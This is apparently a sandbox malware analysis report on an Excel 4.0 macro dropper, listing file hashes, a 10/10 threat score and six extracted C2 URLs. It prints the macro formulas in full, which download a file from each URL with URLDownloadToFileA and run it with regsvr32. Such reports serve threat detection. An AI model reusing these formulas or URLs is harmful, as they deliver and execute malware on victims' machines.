General

  • Target

    889c0a43500ddab52c6b67e3a087d9caf303801cc84888e5815d534398424f58

  • Size

    46KB

  • Sample

    241120-fvgsrasdqk

  • MD5

    dfd391ef952f2c3d71cb6cc3444730fa

  • SHA1

    25e11efa20987c36bfdf2e494fd637631609b063

  • SHA256

    889c0a43500ddab52c6b67e3a087d9caf303801cc84888e5815d534398424f58

  • SHA512

    41414f6fead44a3c89ae31af31a64ed3c650c051247bb9a151376b9e484d12d254c2dd45b6be4dba39094cb52553c2ed752abc5d1de6060ecff60a41460a1c9a

  • SSDEEP

    768:QOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:QOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://gokcevizyon.com/sBaEb/

http://henrysfreshroast.com/fxNufTnf3ox/

http://sorathlions.com/tmp/z5mkAKCYsVW70w/

http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/

https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/

https://ewestern.com/k/vEQX/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://gokcevizyon.com/sBaEb/

xlm40.dropper

http://henrysfreshroast.com/fxNufTnf3ox/

Targets

    • Target

      889c0a43500ddab52c6b67e3a087d9caf303801cc84888e5815d534398424f58

    • Size

      46KB

    • MD5

      dfd391ef952f2c3d71cb6cc3444730fa

    • SHA1

      25e11efa20987c36bfdf2e494fd637631609b063

    • SHA256

      889c0a43500ddab52c6b67e3a087d9caf303801cc84888e5815d534398424f58

    • SHA512

      41414f6fead44a3c89ae31af31a64ed3c650c051247bb9a151376b9e484d12d254c2dd45b6be4dba39094cb52553c2ed752abc5d1de6060ecff60a41460a1c9a

    • SSDEEP

      768:QOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:QOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks